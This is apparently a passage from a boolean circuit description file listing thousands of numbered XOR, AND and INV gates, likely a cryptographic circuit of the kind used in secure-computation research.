23784 AND +2 1 23784 23792 23782 XOR +2 1 23784 23802 23754 XOR +2 1 23754 23748 23776 XOR +2 1 23776 23817 23765 AND +2 1 34199 23754 23737 XOR +2 1 23776 23813 23774 AND +2 1 23787 23745 23700 XOR +2 1 23737 23700 23783 XOR +2 1 23783 23814 23764 AND +2 1 23783 23812 23773 AND +2 1 23787 23804 23699 XOR +2 1 23699 23801 23694 XOR +2 1 23694 23695 23778 XOR +2 1 23778 23810 23768 AND +2 1 23778 23821 23759 AND +2 1 23790 23782 23781 AND +2 1 23781 23750 23740 XOR +2 1 23740 23742 23780 XOR +2 1 23740 23693 23777 XOR +2 1 23777 23822 23762 AND +2 1 23780 23815 23761 AND +2 1 23769 23761 23725 XOR +2 1 23777 23807 23771 AND +2 1 23781 23805 23698 XOR +2 1 23771 23762 23723 XOR +2 1 23737 23698 23690 XOR +2 1 23690 23691 23775 XOR +2 1 23775 23808 23767 AND +2 1 23767 23768 23718 XOR +2 1 23775 23823 23758 AND +2 1 23727 23690 23697 XOR +2 1 23694 23697 23779 XOR +2 1 23779 23811 23766 AND +2 1 23762 23766 23738 XOR +2 1 23779 23820 23757 AND +2 1 23768 23757 23717 XOR +1 1 23738 23716 INV +1 1 23717 23713 INV +2 1 23716 23760 23715 XOR +2 1 23786 34198 23772 AND +2 1 23772 23774 23753 XOR +2 1 23715 23753 23711 XOR +2 1 23759 23711 23714 XOR +2 1 23713 23714 23824 XOR +2 1 23780 23819 23770 AND +2 1 23767 23770 23722 XOR +1 1 23722 23719 INV +2 1 23769 23770 23707 XOR +2 1 23770 23771 23756 XOR +2 1 23767 23756 23746 XOR +2 1 23763 23746 23712 XOR +1 1 23712 23709 INV +2 1 23768 23746 23706 XOR +2 1 23758 23759 23752 XOR +2 1 23725 23752 23721 XOR +2 1 23753 23721 23724 XOR +2 1 23723 23724 23827 XOR +2 1 23716 23721 23720 XOR +2 1 23719 23720 23826 XOR +1 1 23826 33033 INV +1 1 23827 33034 INV +2 1 33034 32823 10213 XOR +2 1 10213 10159 10014 XOR +1 1 23824 33039 INV +2 1 33039 32828 10176 XOR +2 1 10176 36251 10010 XOR +1 1 10010 10008 INV +2 1 33033 32822 10205 XOR +2 1 23764 23752 23734 XOR +2 1 23765 23734 23735 XOR +2 1 23735 23706 36248 XOR +2 1 23734 23711 23710 XOR +2 1 23709 23710 36245 XOR +2 1 36245 36249 10201 XOR +1 1 10201 10013 INV +2 1 23773 23735 23739 XOR +2 1 23774 23739 23744 XOR +2 1 23772 23739 23708 XOR +2 1 23707 23708 36246 XOR +2 1 23744 23718 23825 XOR +2 1 36248 36252 10151 XOR +2 1 10151 32821 10000 XOR +1 1 10151 9964 INV +2 1 36246 36250 10191 XOR +2 1 23756 23744 36247 XOR +2 1 36247 36251 10182 XOR +2 1 9964 36247 9963 XOR +2 1 10013 32822 10011 XOR +2 1 9964 33033 9972 XOR +2 1 9964 36246 9967 XOR +1 1 23825 33040 INV +2 1 33040 32821 10165 XOR +2 1 10165 32828 10003 XOR +2 1 36211 10069 36100 XOR +2 1 36100 1376 34309 XOR +2 1 34307 34309 26104 XOR +2 1 26104 26110 26193 XOR +2 1 26104 26200 26185 XOR +2 1 26106 26104 26066 XOR +2 1 26103 26066 26188 XOR +2 1 34309 34303 26199 XOR +2 1 26199 26184 26180 AND +2 1 26120 26193 26191 XOR +2 1 34306 34309 26198 XOR +2 1 26103 26198 26190 XOR +2 1 34302 26190 26189 XOR +2 1 26198 26120 26194 XOR +2 1 26180 26104 26108 XOR +2 1 26191 26189 26182 AND +2 1 26193 26186 26178 AND +2 1 26198 26187 26177 AND +2 1 26177 26105 26107 XOR +2 1 26200 26185 26176 AND +2 1 26176 26177 26079 XOR +2 1 26079 26080 26126 XOR +2 1 26126 26108 26125 XOR +2 1 26179 26125 26173 XOR +2 1 26176 26182 26127 XOR +2 1 26190 26194 26183 AND +2 1 26183 26106 26109 XOR +2 1 26109 26107 26113 XOR +2 1 34309 26113 26118 XOR +2 1 26127 26118 26174 XOR +2 1 26174 26173 26170 AND +2 1 34309 34304 26197 XOR +2 1 26197 26188 26175 AND +2 1 26175 26178 26128 XOR +2 1 26108 26128 26082 XOR +2 1 26082 26107 26172 XOR +2 1 26170 26172 26169 XOR +2 1 26176 26128 26122 XOR +2 1 26179 26122 26078 XOR +2 1 26175 26181 26132 XOR +2 1 26132 26104 26119 XOR +2 1 26127 26119 26171 XOR +2 1 26113 26132 26081 XOR +2 1 34307 26081 26124 XOR +2 1 26170 26124 26165 XOR +2 1 34303 26078 26166 XOR +2 1 26171 26169 26168 AND +2 1 26168 26124 26167 XOR +2 1 26168 26180 26073 XOR +2 1 26073 26109 26069 XOR +2 1 34309 26069 26072 XOR +2 1 26168 26118 26070 XOR +2 1 34307 26069 26068 XOR +2 1 26165 26166 26164 AND +2 1 26164 26181 26076 XOR +2 1 26076 26178 26071 XOR +2 1 26164 26172 26163 XOR +2 1 26071 26072 26155 XOR +2 1 26164 26122 26077 XOR +2 1 26170 26164 26162 XOR +2 1 26155 26187 26145 AND +2 1 26172 26162 26161 AND +2 1 26161 26179 26131 XOR +2 1 26131 26125 26153 XOR +2 1 26161 26169 26159 XOR +2 1 34303 26131 26114 XOR +2 1 26114 26077 26160 XOR +2 1 26160 26191 26141 AND +2 1 26167 26159 26158 AND +2 1 26158 26127 26117 XOR +2 1 26117 26119 26157 XOR +2 1 26158 26182 26075 XOR +2 1 26114 26075 26067 XOR +2 1 26104 26067 26074 XOR +2 1 26071 26074 26156 XOR +2 1 26117 26070 26154 XOR +2 1 26067 26068 26152 XOR +2 1 26152 26200 26135 AND +2 1 26152 26185 26144 AND +2 1 26144 26145 26095 XOR +2 1 26153 26190 26151 AND +2 1 26153 26194 26142 AND +2 1 26154 26199 26139 AND +2 1 26160 26189 26150 AND +2 1 26163 34302 26149 AND +2 1 26149 26151 26130 XOR +2 1 26154 26184 26148 AND +2 1 26148 26139 26100 XOR +2 1 26155 26198 26136 AND +2 1 26135 26136 26129 XOR +2 1 26141 26129 26111 XOR +2 1 26142 26111 26112 XOR +2 1 26150 26112 26116 XOR +2 1 26151 26116 26121 XOR +2 1 26121 26095 26202 XOR +2 1 26149 26116 26085 XOR +1 1 26202 36416 INV +2 1 26157 26192 26138 AND +2 1 26157 26196 26147 AND +2 1 26144 26147 26099 XOR +1 1 26099 26096 INV +2 1 26147 26148 26133 XOR +2 1 26133 26121 36415 XOR +2 1 26144 26133 26123 XOR +2 1 26145 26123 26083 XOR +2 1 26112 26083 36417 XOR +2 1 26167 26186 26146 AND +2 1 26146 26138 26102 XOR +2 1 26102 26129 26098 XOR +2 1 26130 26098 26101 XOR +2 1 26100 26101 26204 XOR +2 1 26146 26147 26084 XOR +2 1 26084 26085 36414 XOR +1 1 26204 33079 INV +2 1 26156 26188 26143 AND +2 1 26139 26143 26115 XOR +1 1 26115 26093 INV +2 1 26093 26098 26097 XOR +2 1 26096 26097 26203 XOR +1 1 26203 33078 INV +2 1 26163 26195 26140 AND +2 1 26140 26123 26089 XOR +1 1 26089 26086 INV +2 1 26167 26193 26137 AND +2 1 26093 26137 26092 XOR +2 1 26092 26130 26088 XOR +2 1 26136 26088 26091 XOR +2 1 26111 26088 26087 XOR +2 1 26086 26087 36413 XOR +2 1 26156 26197 26134 AND +2 1 26145 26134 26094 XOR +1 1 26094 26090 INV +2 1 26090 26091 26201 XOR +1 1 26201 33077 INV +2 1 25404 25500 25485 XOR +2 1 25500 25485 25476 AND +2 1 25476 25477 25379 XOR +2 1 25379 25380 25426 XOR +2 1 25426 25408 25425 XOR +2 1 25476 25428 25422 XOR +2 1 25479 25422 25378 XOR +2 1 34191 25378 25466 XOR +2 1 25476 25482 25427 XOR +2 1 25427 25419 25471 XOR +2 1 25479 25425 25473 XOR +2 1 25427 25418 25474 XOR +2 1 25474 25473 25470 AND +2 1 25470 25472 25469 XOR +2 1 25471 25469 25468 AND +2 1 25468 25424 25467 XOR +2 1 25468 25480 25373 XOR +2 1 25373 25409 25369 XOR +2 1 25470 25424 25465 XOR +2 1 25465 25466 25464 AND +2 1 25470 25464 25462 XOR +2 1 25464 25422 25377 XOR +2 1 25472 25462 25461 AND +2 1 25461 25479 25431 XOR +2 1 34191 25431 25414 XOR +2 1 25414 25377 25460 XOR +2 1 25461 25469 25459 XOR +2 1 25467 25459 25458 AND +2 1 25458 25427 25417 XOR +2 1 25458 25482 25375 XOR +2 1 25417 25419 25457 XOR +2 1 25414 25375 25367 XOR +2 1 25404 25367 25374 XOR +2 1 25460 25489 25450 AND +2 1 25460 25491 25441 AND +2 1 25464 25481 25376 XOR +2 1 25376 25478 25371 XOR +2 1 25371 25374 25456 XOR +2 1 25456 25497 25434 AND +2 1 25457 25496 25447 AND +2 1 25467 25486 25446 AND +2 1 25446 25447 25384 XOR +2 1 25456 25488 25443 AND +2 1 25468 25418 25370 XOR +2 1 25417 25370 25454 XOR +2 1 25454 25484 25448 AND +2 1 25447 25448 25433 XOR +2 1 25467 25493 25437 AND +2 1 34195 25369 25368 XOR +2 1 25367 25368 25452 XOR +2 1 25452 25485 25444 AND +2 1 25444 25447 25399 XOR +1 1 25399 25396 INV +2 1 25444 25433 25423 XOR +2 1 25457 25492 25438 AND +2 1 25446 25438 25402 XOR +2 1 25454 25499 25439 AND +2 1 25439 25443 25415 XOR +1 1 25415 25393 INV +2 1 25393 25437 25392 XOR +2 1 25448 25439 25400 XOR +2 1 25452 25500 25435 AND +2 1 34197 25369 25372 XOR +2 1 25371 25372 25455 XOR +2 1 25455 25487 25445 AND +2 1 25445 25434 25394 XOR +1 1 25394 25390 INV +2 1 25445 25423 25383 XOR +2 1 25455 25498 25436 AND +2 1 25435 25436 25429 XOR +2 1 25441 25429 25411 XOR +2 1 25402 25429 25398 XOR +2 1 25393 25398 25397 XOR +2 1 25396 25397 25503 XOR +2 1 25464 25472 25463 XOR +2 1 25463 34190 25449 AND +2 1 25463 25495 25440 AND +2 1 25440 25423 25389 XOR +1 1 25389 25386 INV +2 1 25431 25425 25453 XOR +2 1 25453 25490 25451 AND +2 1 25449 25451 25430 XOR +2 1 25392 25430 25388 XOR +2 1 25411 25388 25387 XOR +2 1 25386 25387 36258 XOR +2 1 25436 25388 25391 XOR +2 1 25390 25391 25501 XOR +2 1 25430 25398 25401 XOR +2 1 25400 25401 25504 XOR +2 1 33083 36258 9957 XOR +2 1 25453 25494 25442 AND +2 1 25442 25411 25412 XOR +2 1 25450 25412 25416 XOR +2 1 25451 25416 25421 XOR +2 1 25449 25416 25385 XOR +2 1 25384 25385 36259 XOR +2 1 25412 25383 36261 XOR +2 1 36259 36263 10169 XOR +2 1 10237 10169 36168 XOR +2 1 36168 1308 34377 XOR +2 1 25433 25421 36260 XOR +2 1 10161 36260 10147 XOR +2 1 10146 10147 36169 XOR +2 1 36169 1307 34378 XOR +2 1 36259 36258 9902 XOR +2 1 36261 29562 10141 XOR +2 1 10140 10141 36172 XOR +2 1 36172 1304 34381 XOR +2 1 36257 36261 10150 XOR +2 1 10150 36269 10115 XOR +2 1 34378 34381 25778 XOR +2 1 10169 10167 10108 XOR +2 1 10108 10109 10107 XOR +1 1 10107 36192 INV +2 1 36192 1284 34401 XOR +2 1 36259 9953 9952 XOR +2 1 10172 10150 10103 XOR +2 1 9956 9957 36167 XOR +2 1 36167 1309 34376 XOR +2 1 34381 34376 25777 XOR +2 1 34377 34376 25660 XOR +2 1 36255 36260 10215 XOR +2 1 10215 10169 10120 XOR +2 1 10221 10215 36193 XOR +2 1 36193 1283 34402 XOR +2 1 10215 10184 10131 XOR +2 1 33152 10131 36178 XOR +2 1 36178 1298 34387 XOR +2 1 36253 36258 10189 XOR +2 1 10189 10175 10134 XOR +1 1 10134 10132 INV +2 1 10189 36266 10122 XOR +2 1 10189 10179 10110 XOR +2 1 36262 10110 36191 XOR +2 1 36191 1285 34400 XOR +2 1 34401 34400 11244 XOR +2 1 34400 34402 11364 XOR +2 1 36265 10103 36196 XOR +2 1 36196 1280 34405 XOR +2 1 34402 34405 11362 XOR +2 1 34405 34400 11361 XOR +2 1 34376 34378 25780 XOR +1 1 25501 33061 INV +2 1 33061 36260 10119 XOR +2 1 10118 10119 36186 XOR +2 1 10172 33061 10127 XOR +2 1 33061 33152 10174 XOR +1 1 10174 10145 INV +2 1 10145 33081 10143 XOR +2 1 10174 10166 10106 XOR +2 1 33153 10106 36194 XOR +2 1 36194 1282 34403 XOR +2 1 34403 34405 11268 XOR +2 1 11268 11364 11349 XOR +2 1 11364 11349 11340 AND +2 1 10143 10144 36170 XOR +2 1 36170 1306 34379 XOR +2 1 34379 34381 25684 XOR +2 1 10127 10128 10126 XOR +1 1 10126 36179 INV +2 1 36179 1297 34388 XOR +2 1 36186 1290 34395 XOR +2 1 25684 25780 25765 XOR +2 1 25780 25765 25756 AND +1 1 25503 33063 INV +2 1 33084 33063 9914 XOR +2 1 9913 9914 10238 XOR +2 1 10238 10179 36166 XOR +2 1 36166 1310 34375 XOR +2 1 34381 34375 25779 XOR +2 1 34375 34376 25700 XOR +2 1 34375 34377 25683 XOR +2 1 34376 25683 25685 XOR +2 1 34379 25685 25764 XOR +2 1 25779 25764 25760 AND +2 1 25760 25684 25688 XOR +2 1 25778 25700 25774 XOR +2 1 25683 25778 25770 XOR +2 1 25770 25774 25763 AND +2 1 33146 33063 10123 XOR +2 1 10122 10123 36183 XOR +2 1 36183 1293 34392 XOR +2 1 33154 33063 10204 XOR +2 1 10204 10167 10135 XOR +2 1 36253 10135 36175 XOR +2 1 36175 1301 34384 XOR +1 1 10204 10113 INV +2 1 10113 10199 10111 XOR +1 1 25504 33064 INV +2 1 33147 33064 9900 XOR +2 1 33064 9958 36165 XOR +2 1 36165 1311 34374 XOR +2 1 33155 33064 10212 XOR +2 1 10212 10179 10137 XOR +2 1 10212 10149 10114 XOR +2 1 33147 10114 36189 XOR +2 1 36189 1287 34398 XOR +2 1 34374 25770 25769 XOR +1 1 10150 10245 INV +2 1 10245 36263 10133 XOR +2 1 10245 33154 10138 XOR +2 1 10137 10138 10136 XOR +1 1 10136 36174 INV +2 1 36174 1302 34383 XOR +2 1 10132 10133 36176 XOR +2 1 36176 1300 34385 XOR +2 1 34385 34384 25100 XOR +2 1 34383 34385 25123 XOR +2 1 34384 25123 25125 XOR +2 1 34388 25125 25207 XOR +2 1 34387 25125 25204 XOR +2 1 10245 36254 9951 XOR +2 1 9951 9952 10222 XOR +2 1 10222 10166 36177 XOR +2 1 36177 1299 34386 XOR +2 1 34386 34388 25126 XOR +2 1 25126 34387 25085 XOR +2 1 34383 34384 25140 XOR +2 1 34384 34386 25220 XOR +2 1 25444 25445 25395 XOR +2 1 25421 25395 25502 XOR +1 1 25502 33062 INV +2 1 33145 33062 10116 XOR +2 1 10115 10116 36188 XOR +2 1 36188 1288 34397 XOR +2 1 34397 34392 11221 XOR +2 1 34395 34397 11128 XOR +2 1 33062 10142 36171 XOR +2 1 36171 1305 34380 XOR +2 1 34374 34380 25690 XOR +2 1 25690 25685 25766 XOR +2 1 34378 34380 25686 XOR +2 1 25763 25686 25689 XOR +2 1 34380 25685 25767 XOR +2 1 25686 34379 25645 XOR +2 1 34374 25645 25775 XOR +2 1 25684 25690 25773 XOR +2 1 25700 25773 25771 XOR +2 1 25686 25684 25646 XOR +2 1 25775 34374 25761 AND +2 1 25683 25646 25768 XOR +2 1 36256 33062 10214 XOR +2 1 10214 33081 10104 XOR +2 1 10214 10174 10117 XOR +2 1 10104 10105 36195 XOR +2 1 36195 1281 34404 XOR +2 1 34402 34404 11270 XOR +2 1 10214 10149 10125 XOR +2 1 36257 10125 36180 XOR +2 1 36180 1296 34389 XOR +2 1 34386 34389 25218 XOR +2 1 25218 25140 25214 XOR +2 1 34387 34389 25124 XOR +2 1 25126 25124 25086 XOR +2 1 25124 25220 25205 XOR +2 1 25220 25205 25196 AND +2 1 25123 25218 25210 XOR +2 1 25210 25214 25203 AND +2 1 25203 25126 25129 XOR +2 1 11270 34403 11229 XOR +2 1 33082 10117 36187 XOR +2 1 36187 1289 34396 XOR +2 1 25123 25086 25208 XOR +2 1 11270 11268 11230 XOR +2 1 34398 11229 11359 XOR +2 1 34398 34404 11274 XOR +2 1 34403 11274 11360 XOR +2 1 11268 11274 11357 XOR +2 1 25218 25207 25197 AND +2 1 25197 25125 25127 XOR +2 1 25129 25127 25133 XOR +2 1 25196 25197 25099 XOR +2 1 25099 25100 25146 XOR +2 1 34389 25133 25138 XOR +2 1 34389 34383 25219 XOR +2 1 25219 25204 25200 AND +2 1 25200 25124 25128 XOR +2 1 25146 25128 25145 XOR +2 1 34389 34384 25217 XOR +2 1 11359 34398 11345 AND +2 1 25771 25769 25762 AND +2 1 25756 25762 25707 XOR +2 1 34379 25690 25776 XOR +2 1 34375 25776 25772 XOR +2 1 25776 25772 25759 AND +2 1 25773 25766 25758 AND +2 1 25217 25208 25195 AND +2 1 10111 10112 36190 XOR +2 1 36190 1286 34399 XOR +2 1 34399 34401 11267 XOR +2 1 34400 11267 11269 XOR +2 1 11274 11269 11350 XOR +2 1 11357 11350 11342 AND +2 1 34405 34399 11363 XOR +2 1 34404 11269 11351 XOR +2 1 34403 11269 11348 XOR +2 1 11363 11348 11344 AND +2 1 34399 11360 11356 XOR +2 1 11360 11356 11343 AND +2 1 11267 11362 11354 XOR +2 1 34398 11354 11353 XOR +2 1 34399 34400 11284 XOR +2 1 11362 11284 11358 XOR +2 1 11284 11357 11355 XOR +2 1 11355 11353 11346 AND +2 1 11340 11346 11292 XOR +2 1 11267 11230 11352 XOR +2 1 11361 11352 11339 AND +2 1 11339 11342 11293 XOR +2 1 11340 11293 11286 XOR +2 1 11343 11286 11242 XOR +2 1 34399 11242 11330 XOR +2 1 11354 11358 11347 AND +2 1 11347 11270 11273 XOR +2 1 11362 11351 11341 AND +2 1 11340 11341 11243 XOR +2 1 11243 11244 11290 XOR +2 1 11339 11345 11297 XOR +2 1 11297 11268 11283 XOR +2 1 11292 11283 11335 XOR +2 1 11344 11268 11272 XOR +2 1 11272 11293 11246 XOR +2 1 11290 11272 11289 XOR +2 1 11343 11289 11337 XOR +2 1 11341 11269 11271 XOR +2 1 11246 11271 11336 XOR +2 1 11273 11271 11277 XOR +2 1 11277 11297 11245 XOR +2 1 34403 11245 11288 XOR +2 1 34405 11277 11282 XOR +2 1 11292 11282 11338 XOR +2 1 11338 11337 11334 AND +2 1 11334 11288 11329 XOR +2 1 11329 11330 11328 AND +2 1 11328 11345 11240 XOR +2 1 11240 11342 11235 XOR +2 1 11334 11328 11327 XOR +2 1 11336 11327 11326 AND +2 1 11328 11286 11241 XOR +2 1 11328 11336 11291 XOR +2 1 11326 11343 11296 XOR +2 1 34399 11296 11278 XOR +2 1 11296 11289 11318 XOR +2 1 11278 11241 11325 XOR +2 1 11325 11353 11315 AND +2 1 11325 11355 11306 AND +2 1 11318 11358 11307 AND +2 1 11318 11354 11316 AND +2 1 11291 34398 11314 AND +2 1 11314 11316 11295 XOR +2 1 11334 11336 11333 XOR +2 1 11326 11333 11324 XOR +2 1 11335 11333 11332 AND +2 1 11332 11288 11331 XOR +2 1 11331 11350 11311 AND +2 1 11331 11324 11323 AND +2 1 11332 11282 11234 XOR +2 1 11323 11346 11239 XOR +2 1 11278 11239 11231 XOR +2 1 11291 11359 11305 AND +2 1 11331 11357 11302 AND +2 1 11268 11231 11238 XOR +2 1 11235 11238 11321 XOR +2 1 11321 11352 11308 AND +2 1 11323 11292 11281 XOR +2 1 11281 11234 11319 XOR +2 1 11319 11348 11313 AND +2 1 11319 11363 11304 AND +2 1 11281 11283 11322 XOR +2 1 11322 11360 11312 AND +2 1 11304 11308 11279 XOR +1 1 11279 11257 INV +2 1 11257 11302 11256 XOR +2 1 11256 11295 11252 XOR +2 1 11313 11304 11264 XOR +2 1 11311 11312 11248 XOR +2 1 11322 11356 11303 AND +2 1 11311 11303 11266 XOR +2 1 11312 11313 11298 XOR +2 1 11332 11344 11237 XOR +2 1 11237 11273 11233 XOR +2 1 34405 11233 11236 XOR +2 1 34403 11233 11232 XOR +2 1 11231 11232 11317 XOR +2 1 11317 11364 11300 AND +2 1 11317 11349 11309 AND +2 1 11309 11312 11263 XOR +1 1 11263 11260 INV +2 1 11309 11298 11287 XOR +2 1 11305 11287 11253 XOR +1 1 11253 11250 INV +2 1 11235 11236 11320 XOR +2 1 11320 11362 11301 AND +2 1 11300 11301 11294 XOR +2 1 11266 11294 11262 XOR +2 1 11257 11262 11261 XOR +2 1 11260 11261 11367 XOR +2 1 11306 11294 11275 XOR +2 1 11307 11275 11276 XOR +2 1 11301 11252 11255 XOR +2 1 11275 11252 11251 XOR +2 1 11250 11251 36467 XOR +2 1 11295 11262 11265 XOR +2 1 11264 11265 11368 XOR +2 1 11315 11276 11280 XOR +2 1 11314 11280 11249 XOR +2 1 11248 11249 36468 XOR +2 1 36455 36468 11644 XOR +2 1 36468 36467 11386 XOR +2 1 11316 11280 11285 XOR +2 1 11298 11285 36469 XOR +2 1 36469 11423 11613 XOR +1 1 11367 32857 INV +1 1 11368 32858 INV +2 1 11320 11351 11310 AND +2 1 11309 11310 11259 XOR +2 1 11310 11287 11247 XOR +2 1 11276 11247 36470 XOR +2 1 36458 36470 11630 XOR +2 1 11630 32830 11383 XOR +2 1 11285 11259 11366 XOR +1 1 11366 32856 INV +2 1 11630 36454 11385 XOR +2 1 11385 11386 11706 XOR +2 1 10199 10150 10139 XOR +2 1 33155 10139 36173 XOR +2 1 36173 1303 34382 XOR +2 1 34382 34388 25130 XOR +2 1 34382 25210 25209 XOR +2 1 25130 25125 25206 XOR +2 1 25124 25130 25213 XOR +2 1 25140 25213 25211 XOR +2 1 25211 25209 25202 AND +2 1 25196 25202 25147 XOR +2 1 25147 25138 25194 XOR +2 1 25213 25206 25198 AND +2 1 25195 25198 25148 XOR +2 1 25128 25148 25102 XOR +2 1 25102 25127 25192 XOR +2 1 34382 25085 25215 XOR +2 1 25215 34382 25201 AND +2 1 25195 25201 25152 XOR +2 1 25152 25124 25139 XOR +2 1 25147 25139 25191 XOR +2 1 25133 25152 25101 XOR +2 1 34387 25101 25144 XOR +2 1 34387 25130 25216 XOR +2 1 34383 25216 25212 XOR +2 1 25216 25212 25199 AND +2 1 25199 25145 25193 XOR +2 1 25194 25193 25190 AND +2 1 25190 25144 25185 XOR +2 1 25190 25192 25189 XOR +2 1 25191 25189 25188 AND +2 1 25188 25144 25187 XOR +2 1 25187 25213 25157 AND +2 1 25188 25200 25093 XOR +2 1 25093 25129 25089 XOR +2 1 34389 25089 25092 XOR +2 1 25188 25138 25090 XOR +2 1 34387 25089 25088 XOR +2 1 25187 25206 25166 AND +2 1 25196 25148 25142 XOR +2 1 25199 25142 25098 XOR +2 1 34383 25098 25186 XOR +2 1 25185 25186 25184 AND +2 1 25184 25142 25097 XOR +2 1 25184 25192 25183 XOR +2 1 25183 34382 25169 AND +2 1 25190 25184 25182 XOR +2 1 25183 25215 25160 AND +2 1 25192 25182 25181 AND +2 1 25181 25199 25151 XOR +2 1 34383 25151 25134 XOR +2 1 25134 25097 25180 XOR +2 1 25180 25209 25170 AND +2 1 25151 25145 25173 XOR +2 1 25181 25189 25179 XOR +2 1 25173 25214 25162 AND +2 1 25180 25211 25161 AND +2 1 25187 25179 25178 AND +2 1 25178 25202 25095 XOR +2 1 25134 25095 25087 XOR +2 1 25124 25087 25094 XOR +2 1 25178 25147 25137 XOR +2 1 25137 25139 25177 XOR +2 1 25177 25216 25167 AND +2 1 25166 25167 25104 XOR +2 1 25177 25212 25158 AND +2 1 25166 25158 25122 XOR +2 1 25137 25090 25174 XOR +2 1 25174 25219 25159 AND +2 1 25174 25204 25168 AND +2 1 25184 25201 25096 XOR +2 1 25168 25159 25120 XOR +2 1 25096 25198 25091 XOR +2 1 25091 25092 25175 XOR +2 1 25175 25218 25156 AND +2 1 25091 25094 25176 XOR +2 1 25176 25208 25163 AND +2 1 25159 25163 25135 XOR +1 1 25135 25113 INV +2 1 25113 25157 25112 XOR +2 1 25176 25217 25154 AND +2 1 25087 25088 25172 XOR +2 1 25172 25205 25164 AND +2 1 25172 25220 25155 AND +2 1 25155 25156 25149 XOR +2 1 25161 25149 25131 XOR +2 1 25162 25131 25132 XOR +2 1 25170 25132 25136 XOR +2 1 25169 25136 25105 XOR +2 1 25104 25105 36424 XOR +1 1 36424 11380 INV +2 1 36428 11380 11392 XOR +2 1 25167 25168 25153 XOR +2 1 25164 25153 25143 XOR +2 1 25160 25143 25109 XOR +1 1 25109 25106 INV +2 1 25175 25207 25165 AND +2 1 25165 25143 25103 XOR +2 1 25165 25154 25114 XOR +1 1 25114 25110 INV +2 1 25132 25103 36426 XOR +2 1 36426 36430 11629 XOR +1 1 11629 11393 INV +2 1 25164 25165 25115 XOR +2 1 25173 25210 25171 AND +2 1 25169 25171 25150 XOR +2 1 25112 25150 25108 XOR +2 1 25131 25108 25107 XOR +2 1 25106 25107 36423 XOR +2 1 36427 36423 11390 XOR +2 1 25156 25108 25111 XOR +2 1 25110 25111 25221 XOR +1 1 25221 33058 INV +2 1 25171 25136 25141 XOR +2 1 25153 25141 36425 XOR +2 1 11490 36425 11505 XOR +2 1 25141 25115 25222 XOR +1 1 25222 33059 INV +2 1 33059 33069 11639 XOR +2 1 33059 33058 11503 XOR +2 1 25122 25149 25118 XOR +2 1 25113 25118 25117 XOR +2 1 25150 25118 25121 XOR +2 1 25120 25121 25224 XOR +1 1 25224 33060 INV +2 1 33071 33060 11388 XOR +2 1 25778 25767 25757 AND +2 1 25756 25757 25659 XOR +2 1 25659 25660 25706 XOR +2 1 25706 25688 25705 XOR +2 1 25757 25685 25687 XOR +2 1 25689 25687 25693 XOR +2 1 25759 25705 25753 XOR +2 1 34381 25693 25698 XOR +2 1 25707 25698 25754 XOR +2 1 25754 25753 25750 AND +2 1 25164 25167 25119 XOR +1 1 25119 25116 INV +2 1 25116 25117 25223 XOR +2 1 33070 25223 11508 XOR +1 1 25223 36422 INV +2 1 25777 25768 25755 AND +2 1 25755 25758 25708 XOR +2 1 25756 25708 25702 XOR +2 1 25759 25702 25658 XOR +2 1 34375 25658 25746 XOR +2 1 25688 25708 25662 XOR +2 1 25662 25687 25752 XOR +2 1 25750 25752 25749 XOR +2 1 25755 25761 25712 XOR +2 1 25693 25712 25661 XOR +2 1 34379 25661 25704 XOR +2 1 25750 25704 25745 XOR +2 1 25712 25684 25699 XOR +2 1 25707 25699 25751 XOR +2 1 25745 25746 25744 AND +2 1 25744 25752 25743 XOR +2 1 25743 25775 25720 AND +2 1 25743 34374 25729 AND +2 1 25750 25744 25742 XOR +2 1 25752 25742 25741 AND +2 1 25741 25759 25711 XOR +2 1 25741 25749 25739 XOR +2 1 34375 25711 25694 XOR +2 1 25711 25705 25733 XOR +2 1 25733 25770 25731 AND +2 1 25729 25731 25710 XOR +2 1 25733 25774 25722 AND +2 1 25744 25702 25657 XOR +2 1 25694 25657 25740 XOR +2 1 25740 25769 25730 AND +2 1 25740 25771 25721 AND +2 1 25744 25761 25656 XOR +2 1 25656 25758 25651 XOR +2 1 25751 25749 25748 AND +2 1 25748 25704 25747 XOR +2 1 25747 25773 25717 AND +2 1 25748 25760 25653 XOR +2 1 25747 25766 25726 AND +2 1 25747 25739 25738 AND +2 1 25738 25707 25697 XOR +2 1 25697 25699 25737 XOR +2 1 25737 25772 25718 AND +2 1 25737 25776 25727 AND +2 1 25748 25698 25650 XOR +2 1 25697 25650 25734 XOR +2 1 25734 25779 25719 AND +2 1 25726 25718 25682 XOR +2 1 25734 25764 25728 AND +2 1 25728 25719 25680 XOR +2 1 25727 25728 25713 XOR +2 1 25653 25689 25649 XOR +2 1 34381 25649 25652 XOR +2 1 25651 25652 25735 XOR +2 1 34379 25649 25648 XOR +2 1 25735 25767 25725 AND +2 1 25735 25778 25716 AND +2 1 25726 25727 25664 XOR +2 1 25738 25762 25655 XOR +2 1 25694 25655 25647 XOR +2 1 25647 25648 25732 XOR +2 1 25732 25780 25715 AND +2 1 25732 25765 25724 AND +2 1 25724 25727 25679 XOR +2 1 25724 25713 25703 XOR +1 1 25679 25676 INV +2 1 25720 25703 25669 XOR +2 1 25715 25716 25709 XOR +2 1 25721 25709 25691 XOR +1 1 25669 25666 INV +2 1 25722 25691 25692 XOR +2 1 25730 25692 25696 XOR +2 1 25729 25696 25665 XOR +2 1 25731 25696 25701 XOR +2 1 25713 25701 36437 XOR +2 1 25664 25665 36436 XOR +2 1 25724 25725 25675 XOR +2 1 25682 25709 25678 XOR +2 1 25710 25678 25681 XOR +2 1 25680 25681 25784 XOR +2 1 25701 25675 25782 XOR +2 1 25725 25703 25663 XOR +2 1 25692 25663 36438 XOR +1 1 25782 33065 INV +1 1 25784 33067 INV +2 1 25684 25647 25654 XOR +2 1 25651 25654 25736 XOR +2 1 25736 25768 25723 AND +2 1 25736 25777 25714 AND +2 1 25725 25714 25674 XOR +2 1 25719 25723 25695 XOR +1 1 25695 25673 INV +2 1 25673 25717 25672 XOR +2 1 25672 25710 25668 XOR +2 1 25673 25678 25677 XOR +2 1 25716 25668 25671 XOR +2 1 25676 25677 25783 XOR +2 1 25691 25668 25667 XOR +2 1 25666 25667 36435 XOR +1 1 25674 25670 INV +2 1 25670 25671 25781 XOR +1 1 25783 33066 INV +1 1 25781 33072 INV +2 1 36261 36265 10164 XOR +2 1 10164 36268 10121 XOR +2 1 10164 36262 9901 XOR +2 1 9901 9902 10243 XOR +2 1 10243 10175 36184 XOR +2 1 10120 10121 36185 XOR +2 1 36184 1292 34393 XOR +2 1 34393 34392 11104 XOR +2 1 10164 33083 9899 XOR +2 1 9899 9900 10244 XOR +2 1 10244 10204 36182 XOR +2 1 36182 1294 34391 XOR +2 1 